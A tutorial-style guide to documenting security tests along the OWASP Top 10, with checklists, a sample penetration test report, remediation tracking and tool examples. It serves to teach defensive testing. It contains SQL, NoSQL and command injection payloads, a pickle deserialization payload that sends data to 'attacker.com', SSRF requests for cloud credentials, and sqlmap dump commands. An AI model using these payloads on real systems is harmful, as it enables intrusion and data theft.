Introduction to Security Test Documentation

Security test documentation is the cornerstone of a robust cybersecurity strategy. Unlike functional testing that validates features work correctly, security testing ensures those features cannot be exploited maliciously. Comprehensive security documentation provides evidence of due diligence, tracks vulnerability remediation, and creates an audit trail for compliance requirements.

This guide covers the complete spectrum of security test documentation, from OWASP-based testing checklists to penetration test reports, vulnerability assessments, and remediation tracking.

Understanding Security Testing Objectives

Security testing aims to identify vulnerabilities before attackers exploit them. The primary objectives include:

Core Security Testing Goals

  1. Identify Vulnerabilities: Discover security weaknesses in applications, infrastructure, and processes
  2. Assess Risk: Evaluate the likelihood and impact of potential exploits
  3. Validate Controls: Verify security measures function as designed
  4. Ensure Compliance: Meet regulatory requirements (GDPR, PCI-DSS, HIPAA, SOC 2)
  5. Document Evidence: Create audit trails for security posture
  6. Drive Remediation: Provide actionable insights for fixing vulnerabilities

Types of Security Testing

Test TypePurposeScopeTypical Frequency
Vulnerability AssessmentIdentify known vulnerabilitiesAutomated scanning of systemsWeekly/Monthly
Penetration TestingSimulate real-world attacksManual exploitation attemptsQuarterly/Annually
Security Code ReviewFind security flaws in source codeStatic analysis + manual reviewPer release
Configuration ReviewVerify secure configurationsInfrastructure, databases, servicesQuarterly
Authentication TestingValidate access controlsLogin, SSO, MFA, session managementPer release
API Security TestingTest API-specific vulnerabilitiesEndpoints, authentication, rate limitingPer release

OWASP Top 10 Testing Framework

The OWASP (Open Web Application Security Project) Top 10 represents the most critical security risks to web applications. This framework provides a standardized approach to security testing.

OWASP Top 10 (2021 Edition)

A01:2021 - Broken Access Control

Description: Users can act outside their intended permissions.

Testing Checklist:

## A01: Broken Access Control Testing

### Horizontal Privilege Escalation
- [ ] Test accessing other users' resources by modifying user IDs in URLs
- [ ] Attempt to view/modify other users' profiles, orders, or data
- [ ] Test direct object reference vulnerabilities (IDOR)
- [ ] Verify API endpoints enforce user-specific access

**Test Case Example:**
```http
# Normal request
GET /api/users/123/orders HTTP/1.1
Authorization: Bearer <user123-token>

# Attack attempt - accessing user 456's orders with user 123's token
GET /api/users/456/orders HTTP/1.1
Authorization: Bearer <user123-token>

Expected: HTTP 403 Forbidden
Actual: [DOCUMENT RESULT]

Vertical Privilege Escalation

  • Test accessing admin functions with regular user account
  • Attempt to modify user roles or permissions
  • Test bypassing authentication for protected resources
  • Verify role-based access control (RBAC) enforcement

Test Case Example:

# Attack attempt - regular user accessing admin endpoint
GET /api/admin/users HTTP/1.1
Authorization: Bearer <regular-user-token>

Expected: HTTP 403 Forbidden
Actual: [DOCUMENT RESULT]

Missing Function Level Access Control

  • Test hidden admin interfaces (e.g., /admin, /administrator)
  • Check for exposed API endpoints without authentication
  • Verify forced browsing protection
  • Test access to debug/diagnostic pages

Vulnerability Example:

URL: https://example.com/admin/delete-user?id=123
Method: POST
Authentication: None required ❌
Impact: CRITICAL - Unauthenticated user deletion

#### A02:2021 - Cryptographic Failures

**Description:** Failures related to cryptography which often lead to sensitive data exposure.

**Testing Checklist:**

```markdown
## A02: Cryptographic Failures Testing

### Data in Transit
- [ ] Verify HTTPS is enforced on all pages
- [ ] Test for mixed content warnings
- [ ] Check TLS/SSL configuration (minimum TLS 1.2)
- [ ] Verify HTTP Strict Transport Security (HSTS) header
- [ ] Test certificate validity and chain of trust

**Test Commands:**
```bash
# Check TLS version
openssl s_client -connect example.com:443 -tls1_1
# Should fail if TLS 1.1 is disabled (secure)

# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security
# Expected: Strict-Transport-Security: max-age=31536000; includeSubDomains

Data at Rest

  • Verify sensitive data is encrypted in database
  • Check password storage (bcrypt, Argon2, not MD5/SHA1)
  • Test backup encryption
  • Verify encryption key management practices

Database Check Example:

-- Check if passwords are hashed (not plaintext)
SELECT username, password FROM users LIMIT 5;
-- Expected: Hashed values like $2b$12$abc123...
-- ❌ CRITICAL: If passwords are readable plaintext

Sensitive Data in Logs

  • Check application logs for sensitive data (passwords, tokens, PII)
  • Verify error messages don’t expose sensitive information
  • Test that API responses don’t leak internal details

Log Review Checklist:

# Search for sensitive data in logs
grep -r "password" /var/log/application/
grep -r "token" /var/log/application/
grep -r "ssn\|credit_card" /var/log/application/

# ✅ PASS: No sensitive data found
# ❌ FAIL: Found "user_password=secret123" in app.log

#### A03:2021 - Injection

**Description:** User-supplied data is not validated, filtered, or sanitized by the application.

**Testing Checklist:**

```markdown
## A03: Injection Testing

### SQL Injection
- [ ] Test all input fields with SQL injection payloads
- [ ] Verify parameterized queries/prepared statements are used
- [ ] Test for error-based, blind, and time-based SQL injection

**SQL Injection Test Payloads:**
```sql
# Basic injection attempts
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin'--
' UNION SELECT NULL, NULL, NULL--

# Time-based blind injection
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--

# Test in various parameters
- URL: ?id=1' OR '1'='1
- POST body: username=' OR '1'='1'--&password=anything
- JSON: {"search": "' OR '1'='1"}

Vulnerability Report Template:

### SQL Injection Vulnerability

**Severity:** CRITICAL
**Location:** /api/products/search
**Parameter:** query
**Payload:** `' OR '1'='1' --`

**Proof of Concept:**
```bash
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "test'\'' OR '\''1'\''='\''1"}'

Response: Returns all products (bypassing search filter) Impact: Data breach - unauthorized access to entire product database Remediation: Use parameterized queries with prepared statements


### NoSQL Injection
- [ ] Test MongoDB injection (e.g., `{"$gt": ""}`)
- [ ] Verify input sanitization for NoSQL databases
- [ ] Test operator injection

**NoSQL Injection Payloads:**
```javascript
// MongoDB injection examples
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"$where": "sleep(5000)"}

// Test in login endpoint
POST /api/login
{
  "username": {"$gt": ""},
  "password": {"$gt": ""}
}
// Expected: Login failure
// ❌ CRITICAL: If authentication bypassed

Command Injection

  • Test OS command injection in file operations
  • Verify input validation for system calls
  • Test for code injection vulnerabilities

Command Injection Payloads:

# Test in filename or system parameter fields
; ls -la
| whoami
`cat /etc/passwd`
$(curl attacker.com)
& ping -c 10 127.0.0.1 &

# Example vulnerable endpoint
GET /api/export?filename=report.pdf; cat /etc/passwd

#### A04:2021 - Insecure Design

**Description:** Missing or ineffective security control design.

**Testing Checklist:**

```markdown
## A04: Insecure Design Testing

### Business Logic Flaws
- [ ] Test for price manipulation in e-commerce
- [ ] Verify sequential processing cannot be bypassed
- [ ] Test for race conditions in financial transactions
- [ ] Check for workflow bypass vulnerabilities

**Example: Price Manipulation Test**
```http
# Normal purchase request
POST /api/checkout
{
  "product_id": 123,
  "quantity": 1,
  "price": 99.99
}

# Attack: Modify price in request
POST /api/checkout
{
  "product_id": 123,
  "quantity": 1,
  "price": 0.01  ← Attacker-controlled
}

Expected: Server validates price from database
❌ CRITICAL: If client-supplied price is accepted

Rate Limiting and DoS Protection

  • Test for missing rate limiting on API endpoints
  • Verify CAPTCHA on sensitive operations
  • Test for resource exhaustion vulnerabilities
  • Check account lockout mechanisms

Rate Limiting Test:

# Send 1000 requests in 10 seconds
for i in {1..1000}; do
  curl -X POST https://example.com/api/login \
    -d "username=test&password=test" &
done

Expected: 429 Too Many Requests after threshold
✅ PASS: Rate limit enforced after 10 requests/minute
❌ FAIL: No rate limiting - all 1000 requests processed

Insufficient Anti-Automation

  • Test for missing bot protection
  • Verify anti-scraping measures
  • Test for credential stuffing prevention

#### A05:2021 - Security Misconfiguration

**Description:** Security misconfiguration or insecure default configurations.

**Testing Checklist:**

```markdown
## A05: Security Misconfiguration Testing

### Unnecessary Features Enabled
- [ ] Check for directory listing enabled
- [ ] Test for exposed admin interfaces
- [ ] Verify debug mode is disabled in production
- [ ] Check for unnecessary HTTP methods enabled

**Directory Listing Test:**
```bash
# Test for directory listing
curl https://example.com/uploads/
curl https://example.com/admin/
curl https://example.com/backup/

✅ PASS: 403 Forbidden or custom error page
❌ FAIL: Directory contents listed (index of /uploads/)

Default Credentials

  • Test default admin credentials (admin/admin, root/root)
  • Check for default database passwords
  • Verify default API keys are changed

Default Credentials Test List:

admin:admin
administrator:administrator
root:root
admin:password
admin:123456
sa:sa (SQL Server)
postgres:postgres

Security Headers

  • Verify Content-Security-Policy (CSP) header
  • Check X-Frame-Options header
  • Verify X-Content-Type-Options: nosniff
  • Check X-XSS-Protection header

Security Headers Validation:

curl -I https://example.com | grep -E "Content-Security-Policy|X-Frame-Options|X-Content-Type-Options"

Expected Headers:
✅ Content-Security-Policy: default-src 'self'
✅ X-Frame-Options: DENY
✅ X-Content-Type-Options: nosniff
✅ X-XSS-Protection: 1; mode=block

❌ FAIL: Missing security headers

Error Handling

  • Verify error messages don’t reveal sensitive information
  • Check for stack traces in production
  • Test for verbose error messages

Error Message Test:

# Trigger error with invalid input
curl https://example.com/api/user/abc123xyz

❌ BAD Response:
{
  "error": "SQLException: column 'user_id' expects integer at line 47 in UserController.java",
  "stack_trace": "..."
}

✅ GOOD Response:
{
  "error": "Invalid user ID format",
  "error_code": "USER_400"
}

#### A06:2021 - Vulnerable and Outdated Components

**Testing Checklist:**

```markdown
## A06: Vulnerable Components Testing

### Dependency Scanning
- [ ] Run automated dependency scanning (npm audit, OWASP Dependency-Check)
- [ ] Verify no components with known critical vulnerabilities
- [ ] Check for outdated libraries and frameworks

**Dependency Scan Commands:**
```bash
# Node.js projects
npm audit
npm audit --audit-level=high

# Python projects
pip-audit
safety check

# Java projects
mvn dependency-check:check

# General
docker run --rm -v $(pwd):/src owasp/dependency-check \
  --scan /src --format HTML --out /src/dependency-report.html

Version Disclosure

  • Check HTTP headers for version information
  • Test for framework/server version in error messages
  • Verify default pages don’t reveal versions

Version Disclosure Test:

curl -I https://example.com

❌ BAD:
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.2.24

✅ GOOD:
Server: nginx
# (No version disclosed)

#### A07:2021 - Identification and Authentication Failures

**Testing Checklist:**

```markdown
## A07: Authentication Failures Testing

### Password Policy
- [ ] Test weak password acceptance
- [ ] Verify password complexity requirements
- [ ] Check for password history enforcement
- [ ] Test password reset mechanism security

**Weak Password Test:**
```bash
# Test account creation with weak passwords
curl -X POST https://example.com/api/register \
  -d '{"username":"test","password":"123456"}'

✅ PASS: Password rejected - minimum 12 characters, complexity required
❌ FAIL: Account created with password "123456"

Session Management

  • Test for session fixation vulnerabilities
  • Verify session timeout configuration
  • Check for secure session cookie flags
  • Test concurrent session handling

Session Cookie Security:

curl -I https://example.com/login

Expected Cookie Attributes:
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Strict; Max-Age=1800

✅ Secure: HTTPS only
✅ HttpOnly: Not accessible via JavaScript
✅ SameSite: CSRF protection
✅ Max-Age: 30-minute timeout

❌ FAIL: Set-Cookie: session_id=abc123 (missing security flags)

Multi-Factor Authentication (MFA)

  • Test MFA bypass attempts
  • Verify backup codes security
  • Test for MFA enrollment vulnerabilities
  • Check for TOTP implementation flaws

MFA Bypass Test:

# Attempt to access protected resource without completing MFA
POST /api/login
{"username":"admin","password":"correct_password"}

Response: {"mfa_required": true, "session_token": "temp123"}

# Attack: Use temp session token directly for protected resource
GET /api/admin/dashboard
Authorization: Bearer temp123

Expected: 401 Unauthorized - MFA not completed
❌ CRITICAL: If access granted without MFA verification

Credential Stuffing Protection

  • Test for account lockout after failed attempts
  • Verify CAPTCHA on login forms
  • Check for breached password detection

#### A08:2021 - Software and Data Integrity Failures

**Testing Checklist:**

```markdown
## A08: Integrity Failures Testing

### Insecure Deserialization
- [ ] Test for unsafe deserialization in APIs
- [ ] Verify input validation for serialized objects
- [ ] Check for remote code execution via deserialization

**Deserialization Attack Test:**
```python
# Python pickle deserialization test
import pickle
import base64

# Malicious payload
class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('curl attacker.com?data=$(whoami)',))

payload = base64.b64encode(pickle.dumps(RCE()))

# Send to vulnerable endpoint
curl -X POST https://example.com/api/import \
  -H "Content-Type: application/json" \
  -d "{\"data\": \"${payload}\"}"

Expected: Input validation rejects unsafe data
❌ CRITICAL: If code execution occurs

Unsigned/Unverified Updates

  • Verify software updates use digital signatures
  • Check for secure update mechanisms
  • Test for update source verification

CI/CD Pipeline Security

  • Verify artifact integrity in build pipeline
  • Check for secrets in source control
  • Test for unauthorized pipeline modifications

#### A09:2021 - Security Logging and Monitoring Failures

**Testing Checklist:**

```markdown
## A09: Logging and Monitoring Testing

### Security Events Logging
- [ ] Verify failed login attempts are logged
- [ ] Check logging of privilege escalation attempts
- [ ] Test audit trail for sensitive operations
- [ ] Verify log tampering protection

**Log Verification Checklist:**
```bash
# Events that MUST be logged:
✅ Failed authentication attempts
✅ Successful authentication (with user ID)
✅ Password changes
✅ Permission/role changes
✅ Access to sensitive data
✅ Input validation failures
✅ System errors and exceptions

# Events that MUST NOT be logged:
❌ Passwords or tokens
❌ Credit card numbers
❌ Session identifiers
❌ Personally Identifiable Information (PII)

Log Injection

  • Test for log injection vulnerabilities
  • Verify input sanitization in log entries
  • Check for CRLF injection in logs

Log Injection Test:

# Attack: Inject false log entry
username: admin%0A[2025-10-08 12:00:00] SUCCESS: User admin logged in

# If vulnerable, logs will show:
[2025-10-08 11:59:55] FAILED: Login attempt for user: admin
[2025-10-08 12:00:00] SUCCESS: User admin logged in  ← Fake entry

Alerting Mechanisms

  • Verify security alerts are configured
  • Test alert delivery for critical events
  • Check for alert fatigue (too many alerts)

#### A10:2021 - Server-Side Request Forgery (SSRF)

**Testing Checklist:**

```markdown
## A10: SSRF Testing

### Internal Resource Access
- [ ] Test accessing internal IP ranges (127.0.0.1, 10.x.x.x, 192.168.x.x)
- [ ] Verify cloud metadata endpoint protection (169.254.169.254)
- [ ] Test for internal port scanning via SSRF

**SSRF Test Payloads:**
```bash
# Test URL parameters for SSRF
curl "https://example.com/api/fetch?url=http://localhost:8080/admin"
curl "https://example.com/api/fetch?url=http://127.0.0.1:22"
curl "https://example.com/api/fetch?url=http://192.168.1.1"

# AWS metadata attack
curl "https://example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected: Request blocked or filtered
❌ CRITICAL: If internal resources accessible

DNS Rebinding

  • Test for DNS rebinding vulnerabilities
  • Verify DNS resolution limits

Redirect Following

  • Test for open redirect to internal resources
  • Verify redirect destination validation

## Penetration Test Report Structure

A comprehensive penetration test report documents findings, evidence, and remediation guidance.

### Executive Summary Template

```markdown
# Penetration Test Report - Executive Summary

## Test Overview
**Target:** example.com Web Application
**Test Period:** October 1-5, 2025
**Test Type:** Black-box Web Application Penetration Test
**Tester:** Jane Smith, OSCP, CEH

## Overall Risk Rating: HIGH

### Summary of Findings

| Severity | Count | % of Total |
|----------|-------|------------|
| Critical | 3 | 15% |
| High | 5 | 25% |
| Medium | 8 | 40% |
| Low | 4 | 20% |
| **Total** | **20** | **100%** |

### Critical Findings

1. **SQL Injection in Product Search** (CVSS 9.8)
   - Allows complete database access
   - Customer data at risk

2. **Authentication Bypass via JWT Manipulation** (CVSS 9.1)
   - Privilege escalation to admin role
   - Full system compromise possible

3. **Remote Code Execution via File Upload** (CVSS 9.6)
   - Server takeover possible
   - Immediate patching required

### Business Impact

**Data at Risk:**
- 150,000 customer records (names, emails, addresses)
- 45,000 payment card tokens (last 4 digits)
- Internal business documents and source code

**Compliance Impact:**
- GDPR violation risk (Article 32 - Security of Processing)
- PCI-DSS non-compliance (Requirement 6.5)
- Potential fines: €20M or 4% of annual turnover

### Immediate Recommendations

1. Take file upload functionality offline until patched (Critical)
2. Implement parameterized queries for all database operations (Critical)
3. Strengthen JWT validation and signing algorithm (Critical)
4. Deploy Web Application Firewall (WAF) as temporary mitigation (High)
5. Initiate incident response procedures and assess for breach (High)

## Next Steps

1. Remediation Sprint (Target: 2 weeks)
2. Re-test Critical and High findings
3. Implement continuous security testing
4. Security awareness training for development team

Detailed Finding Template

# Finding: SQL Injection in Product Search

## Vulnerability Details

**Severity:** CRITICAL
**CVSS v3.1 Score:** 9.8 (Critical)
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE:** CWE-89: Improper Neutralization of Special Elements used in an SQL Command
**OWASP:** A03:2021 - Injection

## Affected Component

**URL:** https://example.com/api/products/search
**Parameter:** `query`
**HTTP Method:** POST
**Authentication Required:** No

## Description

The product search endpoint is vulnerable to SQL injection due to direct concatenation of user input into SQL queries without proper sanitization or parameterization. An attacker can inject malicious SQL commands to extract, modify, or delete data from the database.

## Proof of Concept

### Step-by-Step Exploitation

1. **Normal Request:**
```bash
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "laptop"}'

Response: [List of laptop products]
  1. Injection Test:
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "laptop'\'' OR '\''1'\''='\''1"}'

Response: [ALL products returned - bypass confirmed]
  1. Database Enumeration:
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "'\'' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--"}'

Response: [Database table names exposed: users, products, orders, payment_methods]
  1. Data Extraction:
curl -X POST https://example.com/api/products/search \
  -H "Content-Type: application/json" \
  -d '{"query": "'\'' UNION SELECT email,password_hash,NULL FROM users--"}'

Response: [User credentials exposed - 150,000 records extractable]

Evidence Screenshots

SQL Injection - Normal Request SQL Injection - Bypass SQL Injection - Data Extraction

Impact Analysis

Technical Impact

  • Confidentiality: HIGH - Complete database access
  • Integrity: HIGH - Data modification possible
  • Availability: MEDIUM - Database could be deleted

Business Impact

  • Data Breach: 150,000 customer records exposed
  • Financial Loss: Estimated $2.5M (regulatory fines + incident response + reputation damage)
  • Compliance: GDPR violation, PCI-DSS non-compliance
  • Reputation: Loss of customer trust

Attack Scenarios

  1. Data Theft: Attacker exports entire customer database
  2. Credential Harvesting: User credentials stolen for account takeover
  3. Financial Fraud: Payment information accessed
  4. Ransomware: Database deleted or encrypted for ransom

Root Cause Analysis

Vulnerable Code (ProductController.java):

public List<Product> searchProducts(String query) {
    String sql = "SELECT * FROM products WHERE name LIKE '%" + query + "%'";
    // ❌ VULNERABLE: Direct string concatenation
    return jdbcTemplate.query(sql, new ProductRowMapper());
}

Issue: User input (query) is directly concatenated into SQL statement without validation or parameterization.

Remediation

Immediate Fix (Required within 24 hours)

Option 1: Take endpoint offline

@PostMapping("/api/products/search")
public ResponseEntity<?> searchProducts(@RequestBody SearchRequest request) {
    return ResponseEntity.status(503)
        .body("Search functionality temporarily unavailable for maintenance");
}

Option 2: Input sanitization (temporary)

public List<Product> searchProducts(String query) {
    // Whitelist only alphanumeric and spaces
    if (!query.matches("^[a-zA-Z0-9\\s]+$")) {
        throw new InvalidInputException("Invalid search query");
    }
    String sql = "SELECT * FROM products WHERE name LIKE ?";
    return jdbcTemplate.query(sql, new ProductRowMapper(), "%" + query + "%");
}

Permanent Fix (Required within 1 week)

Use Parameterized Queries (Prepared Statements):

public List<Product> searchProducts(String query) {
    String sql = "SELECT * FROM products WHERE name LIKE ?";
    // ✅ SECURE: Parameterized query
    return jdbcTemplate.query(sql, new ProductRowMapper(), "%" + query + "%");
}

// Alternative: Using JPA/Hibernate
@Query("SELECT p FROM Product p WHERE p.name LIKE %:query%")
List<Product> searchProducts(@Param("query") String query);

Additional Security Measures

  1. Input Validation:
@Pattern(regexp = "^[a-zA-Z0-9\\s\\-]+$", message = "Invalid characters in search query")
private String query;
  1. Least Privilege Database Access:
-- Create read-only user for application
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON products.* TO 'app_readonly'@'localhost';
FLUSH PRIVILEGES;
  1. Web Application Firewall (WAF) Rules:
# ModSecurity rule to detect SQL injection
SecRule ARGS "@detectSQLi" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
  1. Database Activity Monitoring:
# Enable query logging for suspicious patterns
logging:
  slow_query_log: ON
  log_queries_not_using_indexes: ON
  general_log: OFF  # (performance impact)

Testing Recommendations

  1. Immediate: Run automated SQL injection scanner (SQLMap) on all endpoints
  2. Short-term: Security code review of all database queries
  3. Long-term: Implement SAST (Static Application Security Testing) in CI/CD pipeline
  4. Ongoing: Regular penetration testing (quarterly)

References

Re-test Criteria

Vulnerability will be considered fixed when:

  1. All SQL queries use parameterized statements or ORM
  2. Input validation implemented with whitelist approach
  3. Automated SQL injection scan shows no findings
  4. Manual re-test confirms injection attempts are blocked
  5. Database user has minimum necessary privileges

Re-test Scheduled: October 20, 2025 Assigned To: Development Team (Backend) Tracking: JIRA ticket SEC-2025-001


## Vulnerability Severity Rating

### CVSS v3.1 Calculator

The Common Vulnerability Scoring System (CVSS) provides a standardized way to rate vulnerability severity.

**CVSS v3.1 Base Metrics:**

| Metric | Options | Example: SQL Injection |
|--------|---------|------------------------|
| **Attack Vector (AV)** | Network (N), Adjacent (A), Local (L), Physical (P) | Network (N) |
| **Attack Complexity (AC)** | Low (L), High (H) | Low (L) |
| **Privileges Required (PR)** | None (N), Low (L), High (H) | None (N) |
| **User Interaction (UI)** | None (N), Required (R) | None (N) |
| **Scope (S)** | Unchanged (U), Changed (C) | Unchanged (U) |
| **Confidentiality (C)** | None (N), Low (L), High (H) | High (H) |
| **Integrity (I)** | None (N), Low (L), High (H) | High (H) |
| **Availability (A)** | None (N), Low (L), High (H) | High (H) |

**SQL Injection CVSS Score:**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)


### Severity Ratings

| Score Range | Severity | Response Time | Examples |
|-------------|----------|---------------|----------|
| 9.0 - 10.0 | **Critical** | 24-48 hours | RCE, Authentication Bypass, SQL Injection |
| 7.0 - 8.9 | **High** | 1 week | XSS (stored), CSRF, Privilege Escalation |
| 4.0 - 6.9 | **Medium** | 1 month | Information Disclosure, Missing Security Headers |
| 0.1 - 3.9 | **Low** | Next release | Version Disclosure, Verbose Errors |

## Remediation Tracking

### Vulnerability Tracking Template

```markdown
# Vulnerability Remediation Tracker

## Critical Vulnerabilities

### VUL-2025-001: SQL Injection in Product Search

**Status:** 🔴 Open → 🟡 In Progress → 🟢 Fixed → ✅ Verified

| Field | Value |
|-------|-------|
| Discovered | 2025-10-01 |
| Severity | Critical (CVSS 9.8) |
| Assigned To | Backend Team (John Doe) |
| Target Fix Date | 2025-10-08 |
| Actual Fix Date | 2025-10-07 |
| Re-test Date | 2025-10-09 |
| Status | ✅ Verified Fixed |

**Remediation Actions:**
- [x] Emergency patch deployed (2025-10-02)
- [x] Parameterized queries implemented (2025-10-07)
- [x] Input validation added (2025-10-07)
- [x] Database permissions restricted (2025-10-07)
- [x] WAF rules deployed (2025-10-03)
- [x] Security testing passed (2025-10-09)

**Verification:**
- Automated scan: ✅ No SQL injection detected
- Manual re-test: ✅ All attack attempts blocked
- Code review: ✅ Approved by security architect

---

### VUL-2025-002: Authentication Bypass via JWT

**Status:** 🟡 In Progress

| Field | Value |
|-------|-------|
| Discovered | 2025-10-01 |
| Severity | Critical (CVSS 9.1) |
| Assigned To | Authentication Team (Jane Smith) |
| Target Fix Date | 2025-10-10 |
| Current Status | Fix in development |

**Remediation Actions:**
- [x] JWT algorithm changed from HS256 to RS256 (2025-10-05)
- [x] Token expiration reduced from 24h to 1h (2025-10-05)
- [ ] Refresh token mechanism implemented (In Progress)
- [ ] Token revocation system (Planned)
- [ ] Security testing (Pending)

**Blockers:**
- Waiting for infrastructure team to provision Redis for token blacklist

**Next Steps:**
- Complete refresh token implementation (2025-10-08)
- Deploy to staging for testing (2025-10-09)
- Security re-test (2025-10-10)

Security Testing Tools

Automated Security Scanning Tools

ToolTypeBest ForCost
OWASP ZAPDASTWeb app scanningFree
Burp SuiteDASTManual + automated testingFree/Paid
NmapNetworkPort scanning, service detectionFree
NiktoWeb ScannerWeb server vulnerabilitiesFree
SQLMapSpecializedSQL injection testingFree
MetasploitExploitationPenetration testing frameworkFree/Paid
NessusVulnerability ScannerInfrastructure scanningPaid
AcunetixDASTWeb application securityPaid
SonarQubeSASTCode quality + securityFree/Paid
SnykSCADependency vulnerabilitiesFree/Paid
TrivyContainerDocker image scanningFree
GitGuardianSecret ScanningCredentials in codeFree/Paid

Tool Usage Examples

OWASP ZAP Automated Scan:

# Start ZAP in daemon mode
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap.sh -daemon \
  -host 0.0.0.0 -port 8080 -config api.disablekey=true

# Run automated scan
zap-cli quick-scan -s xss,sqli https://example.com

# Generate HTML report
zap-cli report -o zap-report.html -f html

Nmap Security Scan:

# Comprehensive security scan
nmap -sV -sC --script=vuln -p- example.com -oA nmap-security-scan

# SSL/TLS vulnerability check
nmap --script ssl-enum-ciphers -p 443 example.com

SQLMap Database Extraction:

# Test for SQL injection
sqlmap -u "https://example.com/api/search?q=test" --batch --risk=3 --level=5

# Extract database names
sqlmap -u "https://example.com/api/search?q=test" --dbs

# Dump specific table
sqlmap -u "https://example.com/api/search?q=test" -D database_name -T users --dump

Compliance and Regulatory Requirements

GDPR Security Requirements

## GDPR Article 32: Security of Processing

### Required Security Measures

- [ ] **Pseudonymization and encryption** of personal data
- [ ] **Ability to ensure ongoing confidentiality**, integrity, availability
- [ ] **Ability to restore access** to personal data in timely manner
- [ ] **Regular testing and evaluation** of security measures

### Testing Checklist

#### Encryption (Art. 32.1.a)
- [ ] Data encrypted at rest (AES-256 or equivalent)
- [ ] Data encrypted in transit (TLS 1.2+ minimum)
- [ ] Encryption key management tested
- [ ] Backup encryption verified

#### Access Controls (Art. 32.1.b)
- [ ] Role-based access control (RBAC) implemented
- [ ] Principle of least privilege enforced
- [ ] Access logs maintained (who, what, when)
- [ ] Regular access review process

#### Resilience (Art. 32.1.b)
- [ ] High availability configuration tested
- [ ] Disaster recovery plan validated
- [ ] RTO (Recovery Time Objective): < 4 hours
- [ ] RPO (Recovery Point Objective): < 1 hour

#### Regular Testing (Art. 32.1.d)
- [ ] Quarterly penetration testing
- [ ] Monthly vulnerability scanning
- [ ] Annual security audit
- [ ] Incident response drills (bi-annual)

PCI-DSS Requirements

## PCI-DSS Requirement 6: Secure Development

### 6.5 Address Common Coding Vulnerabilities

- [ ] **6.5.1** Injection flaws (SQL, OS, LDAP)
- [ ] **6.5.2** Buffer overflows
- [ ] **6.5.3** Insecure cryptographic storage
- [ ] **6.5.4** Insecure communications
- [ ] **6.5.5** Improper error handling
- [ ] **6.5.6** High-risk vulnerabilities (OWASP Top 10)
- [ ] **6.5.7** Cross-site scripting (XSS)
- [ ] **6.5.8** Improper access control
- [ ] **6.5.9** Cross-site request forgery (CSRF)
- [ ] **6.5.10** Broken authentication

### Testing Evidence Required

1. **Vulnerability Scan Reports** (Quarterly)
   - All "High" and "Critical" vulnerabilities remediated
   - Scan results from ASV (Approved Scanning Vendor)

2. **Penetration Test Reports** (Annual)
   - Network layer testing
   - Application layer testing
   - Segmentation validation

3. **Code Review Documentation**
   - Manual code review for critical changes
   - SAST tool results
   - Remediation tracking

4. **Change Control Records**
   - Security impact assessment for changes
   - Testing results before production deployment

Conclusion

Effective security test documentation is essential for protecting applications, maintaining compliance, and building trust with users and stakeholders. By following OWASP guidelines, conducting thorough penetration tests, documenting vulnerabilities comprehensively, and tracking remediation diligently, organizations can significantly improve their security posture.

Key Takeaways:

  1. Standardize Testing: Use OWASP Top 10 as foundation for security testing
  2. Document Thoroughly: Detailed findings enable effective remediation
  3. Prioritize by Risk: Use CVSS scoring to focus on critical vulnerabilities
  4. Track Remediation: Ensure vulnerabilities are fixed and verified
  5. Automate Where Possible: Integrate security testing into CI/CD pipelines
  6. Maintain Compliance: Regular testing meets regulatory requirements
  7. Continuous Improvement: Security testing is ongoing, not one-time

Remember: Security is not a product but a process. Regular testing, comprehensive documentation, and swift remediation are the pillars of a robust security program.